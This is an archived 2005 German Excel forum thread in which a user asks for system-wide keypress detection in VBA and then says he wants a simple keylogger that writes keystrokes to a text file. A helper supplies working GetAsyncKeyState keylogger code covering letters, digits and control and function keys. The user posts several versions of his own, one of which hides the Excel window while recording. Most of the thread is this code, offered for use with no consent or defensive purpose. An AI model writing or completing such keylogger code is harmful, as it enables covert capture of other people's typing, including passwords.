Live-Forum - Die aktuellen Beiträge
Anzeige
Archiv - Navigation
704to708
Aktuelles Verzeichnis
Verzeichnis Index
Übersicht Verzeichnisse
Vorheriger Thread
Rückwärts Blättern
Nächster Thread
Vorwärts blättern
Anzeige
HERBERS
Excel-Forum (Archiv)
20+ Jahre Excel-Kompetenz: Von Anwendern, für Anwender
704to708
704to708
Aktuelles Verzeichnis
Verzeichnis Index
Verzeichnis Index
Übersicht Verzeichnisse
Inhaltsverzeichnis

Tastenklick erkennen im System nicht nur Excel

Tastenklick erkennen im System nicht nur Excel
08.12.2005 12:03:52
chris
Hallo Excelprofis,
habe ein riesen Problem bei dem ich nicht weiter weiß und hoffe ihr könnt mir helfen.
Würde mich sehr freuen wenn es klappen würde.
Ich möchte gerne in Excel im VBA Editor ein Makro schreiben das mir Wichtig "Systemweit"
also auch wenn ich gerade nicht in Excel Arbeite also Excel nicht aktiv habe eine msgbox startet wenn die Taste "e" oder "c" gedrückt wird.
Ich weiß einfach nicht wie ich es anstellen kann, ich weiß zwar das ich dazu einen Timer brauche durchläuft und dabei immer wieder prüft ob die taste "e" oder "c" gedrückt ist oder wurde.
Würde mich sehr freuen wenn es klappt.
Vielen Dank grüße Christian

12
Beiträge zum Forumthread
Beiträge zu diesem Forumthread

Betreff
Datum
Anwender
Anzeige
AW: leider komme ich da alleine nicht weiter
08.12.2005 13:11:31
chris
Hallo danke für den Link komme damit aber nicht weiter.
Also schaffe es nicht das ganze so umzubauen das es in Excel funktioniert :(
Vieleicht kann mir noch jemand helfen ? würde mich sehr freuen !!!
AW: leider komme ich da alleine nicht weiter
08.12.2005 13:23:42
Reinhard
Hi Chris,
Auszug:
####ermitteln, ob die Taste momentan gedrückt ist, seit der letzten Überprüfung gedrückt wurde oder nicht gedrückt wurde. ####
Und das entspricht nicht deiner Fragestellung.
Abgesehen davon, unten steht VBA5 und VBA6 nicht.
In meine VBA-Info (XL2000) wird VB& angezeigt, nun weiss ich nicht aber nehme es an dass damit VBA6 gemeint ist. Deshlalb Frage noch offen.
Gruß
Reinhard
ps:Das Forum lebt auch von Rückmeldungen
Anzeige
Reinhardt
08.12.2005 13:34:04
MichaV
Hallo Reinhardt,
bei VBA- gut gehe ich davon aus, daß er es umbauen kann. Bei mir funzt es nach 3min basteln.
Aber ich hatte noch einen anderen Code im Hinterkopf, den such ich zu Hause raus und poste ihn hier nochmal.
Gruss- Micha
ree
08.12.2005 13:54:07
chris
Danke Micha, ich bekomme es leider nicht hin.
Auch nicht nach 10 minuten.
Würde mich freuen wenn du deine Exceldatei mit dem umbau mal ins netz setzt damit ich sie vergleichen kann mit dem VB code aus dem anderen forum.
Um zu sehen was ich falsch gemacht habe oder so ich wusste nicht wie ich anfangen soll.
Danke nochmal !!!
klaro, mach ich ;o) owT
08.12.2005 14:16:41
MichaV
AW: leider komme ich da alleine nicht weiter
08.12.2005 15:18:11
MichaV
Hallo,
so siehts umgebaut aus. Bevor Du fragst: Das Fokussieren von Excel (damit die MsgBox auch sichtbar wird) hab ich nicht hinbekommen. Ist ja aber auch eine ganz neue Frage.... ;o)

Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Declare Sub CopyMemory Lib "kernel32" Alias _
"RtlMoveMemory" (lpDest As Any, lpSource As Any, _
ByVal cBytes As Long)
Sub Prüfe()
'Dieses Makro ausführen, um die Tastaturabfrage zu aktivieren
Do  'schnellstmöglicher Excel- Timer ;o)
tmrCheckKeys_Timer
DoEvents
Loop While True
End Sub
Private Sub tmrCheckKeys_Timer()
Dim i As Long
Dim nRetVal As Long
Dim hwnd As Long
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyE)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
MsgBox "E gedrückt"
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyC)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
MsgBox "C gedrückt"
End If
End Sub
Private Function LoWord(ByVal dwValue As Long) As Integer
Call CopyMemory(LoWord, dwValue, 2&)
End Function
Private Function HiWord(ByVal dwValue As Long) As Integer
Call CopyMemory(HiWord, ByVal VarPtr(dwValue) + 2, 2&)
End Function

Gruss- Micha
PS: Rückmeldung wäre nett.
PPS: Für die API- Fritzen: Warum klappt das Fokussieren nicht? Der Handle von Excel wird mit FindWindow richtig gefunden, aber BringWindowToTop, SetFocusAPI, SetForegroundWindow, ShowWindow funzen dann nicht? (bevor die MsgBox geöffnet wird)
Anzeige
AW: leider komme ich da alleine nicht weiter
08.12.2005 18:39:29
chris
Hallo Micha,
also das klappt super, ich hätte das nie zusammengebracht.
Jetzt wo ichs sehe ists logisch aber geschafft hätt ichs nicht denk ich.
Das mit der msgbox war auch nur als beispiel gedacht.
Was ich mir bauen wollte ist ein ganz einfacher keylogger der mit die geklickten tasten in eine textdatei schreibt.
Daszu schreibe ich diese anweisung einfach für jeden Buchstaben , das bekomm ich hoffentlich hin :)
Vielen Dank !!!
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyE)
If (HiWord(nRetVal) 0) Or (LoWord(nRetVal) 0) Then
MsgBox "E gedrückt"
End If
Anzeige
AW: leider komme ich da alleine nicht weiter
08.12.2005 19:09:44
chris
Hallo Micha ich bins noch einmal,
du hast mir wirklich schon super geholfen, nur jetzt stehe ich schon wieder vor einem Problem:(
Ich habe den Code unten.Ich logge mit dem code bis jetzt 3 buchstaben a , b und c
nur irgendwie schreibt er mir e oder a den den ich klicke ganz oft in die textdatei :(
Wie kann ich das umgehen ?
Vielen dank Micha oder jemand der mir weiterhelfen kann.
Private Declare Function SetTimer Lib "user32" (ByVal hWnd As _
Long, ByVal nIDEvent As Long, ByVal uElapse As Long, _
ByVal lpTimerFunc As Long) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hWnd As _
Long, ByVal nIDEvent As Long) As Long
Public TimerEnabled As Boolean
Public Cnt&
Dim hTimer&
'--------------------------------------------------
Private Declare Function GetAsyncKeyState Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Declare Sub CopyMemory Lib "kernel32" Alias _
"RtlMoveMemory" (lpDest As Any, lpSource As Any, _
ByVal cBytes As Long)
Public Sub Init(Interval&)
hTimer = SetTimer(0, 0, Interval, AddressOf TimerProc)
TimerEnabled = True
End Sub
Public Sub Terminate()
Call KillTimer(0, hTimer)
TimerEnabled = False
Close #1
End Sub
Sub Prüfe()
Open "c:\test.txt" For Output Shared As #1
Application.Visible = False
'Dauer der aufzeichnung bestimmen
Ende = Timer + Cells(1, 1)
Do While Timer i = i + 1
tmrCheckKeys_Timer
' Datei schließen, bevor sie in einem anderen Modus erneut
' geöffnet wird.
Loop
Close #1 ' Datei schließen.
MsgBox ("fertig")
Application.Visible = True
End Sub
Sub tmrCheckKeys_Timer()
' Dim i As Long
' Dim nRetVal As Long
' Dim hWnd As Long
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyA)
If (HiWord(nRetVal) 0) Or (LoWord(nRetVal) 0) Then
' MsgBox "E gedrückt"
Write #1, "a"
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyB)
If (HiWord(nRetVal) 0) Or (LoWord(nRetVal) 0) Then
' MsgBox "C gedrückt"
Write #1, "b"
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyC)
If (HiWord(nRetVal) 0) Or (LoWord(nRetVal) 0) Then
' MsgBox "C gedrückt"
Write #1, "c"
End If
End Sub

Private Function LoWord(ByVal dwValue As Long) As Integer
Call CopyMemory(LoWord, dwValue, 2&)
End Function


Private Function HiWord(ByVal dwValue As Long) As Integer
Call CopyMemory(HiWord, ByVal VarPtr(dwValue) + 2, 2&)
End Function

Anzeige
AW: leider komme ich da alleine nicht weiter
08.12.2005 21:25:25
chris
Hallo Micha und Excelrpofis,
habe den Code jetzt noch etwas erweitert klappt aber immer noch nicht.:(
Ich hoffe ihr könnt mir helfen.
Fehler ist immer noch wenn ich eine taste klicke z.b buchstabe a dann schreibt mir excel diesen Buchstaben oft in die textdatei.
Das möchte ich noch umgehen aber wie ? Vielen Dank
Hier der neue Code
Public TimerEnabled As Boolean
Public Cnt&
Dim hTimer&
Private Declare Function SetTimer Lib "user32" (ByVal hWnd As _
Long, ByVal nIDEvent As Long, ByVal uElapse As Long, _
ByVal lpTimerFunc As Long) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hWnd As _
Long, ByVal nIDEvent As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Declare Sub CopyMemory Lib "kernel32" Alias _
"RtlMoveMemory" (lpDest As Any, lpSource As Any, _
ByVal cBytes As Long)
Function LoWord(ByVal dwValue As Long) As Integer
Call CopyMemory(LoWord, dwValue, 2&)
End Function

Private Function HiWord(ByVal dwValue As Long) As Integer
Call CopyMemory(HiWord, ByVal VarPtr(dwValue) + 2, 2&)
End Function

'--------------------------------------------------
Sub stoppen_Click()
Call Terminate
End Sub
Public Sub Init(Interval&)
hTimer = SetTimer(0, 0, Interval, AddressOf TimerProc)
TimerEnabled = True
End Sub
Public Sub Terminate()
Call KillTimer(0, hTimer)
TimerEnabled = False
Close #1
MsgBox ("ausgemacht")
End Sub
Sub starten()
Open "c:\test.txt" For Output Shared As #1
Call Init(100)
End Sub

Private Sub TimerProc(ByVal hWnd&, ByVal Msg&, ByVal idEvent&, ByVal dwTime&)
' Dim i As Long
'  Dim nRetVal As Long
'  Dim hWnd As Long
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyX)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
'  MsgBox "X gedrückt"
Call Terminate
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyA)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
'  MsgBox "E gedrückt"
Write #1, "a"
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyB)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
'Write #1, "b"
Call AddText("b")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyC)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("c")
End If
End Sub

Sub AddText(strText As String)
'txtCurrentLog.SelStart = Len(txtCurrentLog.Text)
'txtCurrentLog.SelText = strText
'MsgBox (strText)
Write #1, strText
End Sub
Anzeige
AW: leider komme ich da alleine nicht weiter
08.12.2005 22:05:35
MichaV
Hallo,
Keylogger, soso ;o)
Das war auch das, was ich noch im Hinterkopf hatte, musste erst rauskramen. Den API- Timer kannst Du ja wieder einbauen.


      
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" ( _
      
ByVal vKey As LongAs Integer
      
Sub Überwache()
Open "d:\micha\excel\tmp.dat" For Output As #1
'Dieses Makro ausführen, um die Tastaturabfrage zu aktivieren
    Do  'schnellstmöglicher Excel- Timer ;o)
      CheckKeys_Timer
      DoEvents
    
Loop While True
Close #1
End Sub
Private Sub CheckKeys_Timer()
    
Dim X As Long
      
    
'a...Z
    For X = 48 To 90
        
If CompKey(X, UCase(Chr$(X))) Then Exit Sub
        
If CompKey(X + 48, UCase("NUM " & Chr$(X))) Then Exit Sub
    
Next X
    
    
If CompKey(8, "BACKSPACE") Then Exit Sub
    
If CompKey(9, "TAB") Then Exit Sub
    
If CompKey(13, "ENTER") Then Exit Sub
    
If CompKey(16, "SHIFT") Then Exit Sub
    
If CompKey(17, "STRG") Then Exit Sub
    
If CompKey(18, "ALT") Then Exit Sub
    
If CompKey(19, "PAUSE") Then Exit Sub
    
If CompKey(27, "ESC") Then Exit Sub
    
If CompKey(33, "PAGE UP") Then Exit Sub
    
If CompKey(34, "PAGE DOWN") Then Exit Sub
    
If CompKey(35, "ENDE") Then Exit Sub
    
If CompKey(36, "POS1") Then Exit Sub
    
If CompKey(37, "LEFT") Then Exit Sub
    
If CompKey(38, "UP") Then Exit Sub
    
If CompKey(39, "RIGHT") Then Exit Sub
    
If CompKey(40, "DOWN") Then Exit Sub
    
If CompKey(44, "DRUCK") Then Exit Sub
    
If CompKey(45, "INSERT") Then Exit Sub
    
If CompKey(46, "DEL") Then Exit Sub
    
If CompKey(144, "NUM") Then Exit Sub
    
If CompKey(145, "ROLLEN") Then Exit Sub
    
    
'Funktionstasten
    For X = 112 To 127
        
If CompKey(X, "F" & CStr(X - 111)) Then Exit Sub
    
Next X
    
End Sub
Private Function CompKey(KCode As Long, KText As StringAs Boolean
    
Dim Result As Integer
    
    Result = GetAsyncKeyState(KCode)
    
If Result = -32767 Then
        
Print #1, KText
        CompKey = 
True
    
Else
        CompKey = 
False
    
End If
End Function 


Viel Erfolg damit ;o)
Gruß- Micha
PS: Rückmeldung wäre nett.
PPS: http://www.activevb.de/tipps/vb6tipps/tipp0070.html
Anzeige
AW: leider komme ich da alleine nicht weiter
08.12.2005 22:30:45
chris
Hallo Micha erst mal super vielen dank für die Hilfe.!!!!
Hier ist mein Code den ich bis jetzt habe :)
Danke Rückmeldung wegen deinem Code gebe ich dir morgen noch einmal.Leg mich jetzt hin !!
Public TimerEnabled As Boolean
Public Cnt&
Dim was
Dim hTimer&
Private Declare Function SetTimer Lib "user32" (ByVal hWnd As _
Long, ByVal nIDEvent As Long, ByVal uElapse As Long, _
ByVal lpTimerFunc As Long) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hWnd As _
Long, ByVal nIDEvent As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Declare Sub CopyMemory Lib "kernel32" Alias _
"RtlMoveMemory" (lpDest As Any, lpSource As Any, _
ByVal cBytes As Long)
Function LoWord(ByVal dwValue As Long) As Integer
Call CopyMemory(LoWord, dwValue, 2&)
End Function

Private Function HiWord(ByVal dwValue As Long) As Integer
Call CopyMemory(HiWord, ByVal VarPtr(dwValue) + 2, 2&)
End Function

'--------------------------------------------------
Sub stoppen_Click()
Call Terminate
End Sub
Public Sub Init(Interval&)
hTimer = SetTimer(0, 0, Interval, AddressOf TimerProc)
TimerEnabled = True
End Sub
Public Sub Terminate()
Call KillTimer(0, hTimer)
TimerEnabled = False
Close #1
Cells(5, 1) = was
MsgBox was
was = ""
End Sub
Sub starten()
Open "C:\test.txt" For Append Access Write Lock Write As #1
Call Init(50)
End Sub

Private Sub TimerProc(ByVal hWnd&, ByVal Msg&, ByVal idEvent&, ByVal dwTime&)
' Dim i As Long
'  Dim nRetVal As Long
'  Dim hWnd As Long
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyF10)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
'ausschalten
Call Terminate
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeySpace)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
'  MsgBox "E gedrückt"
Call AddText(" ")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyA)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
'  MsgBox "E gedrückt"
Call AddText("a")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyB)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
'Print #1, "b"
Call AddText("b")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyC)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Print #1, "c"
Call AddText("c")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyD)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Print #1, "c"
Call AddText("d")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyC)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("c")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyE)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("e")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyF)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("f")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyG)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("g")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyH)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("h")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyI)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("i")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyJ)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("j")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyK)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("k")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyL)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("l")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyM)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("m")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyN)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("n")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyO)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("o")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyP)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("p")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyQ)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("q")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyR)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("r")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyS)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("s")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyT)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("t")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyU)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("u")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyV)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("v")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyW)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("w")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyX)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("x")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyY)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("y")
End If
nRetVal = GetAsyncKeyState(KeyCodeConstants.vbKeyZ)
If (HiWord(nRetVal) <> 0) Or (LoWord(nRetVal) <> 0) Then
' MsgBox "C gedrückt"
' Write #1, "c"
Call AddText("z")
End If
End Sub

Sub AddText(strText As String)
' Print #1, strText
was = was & strText
'Cells(5, 1) = Cells(5, 1) & strText
End Sub
Anzeige

Beliebteste Forumthreads (12 Monate)

Anzeige

Beliebteste Forumthreads (12 Monate)

Anzeige
Anzeige
Anzeige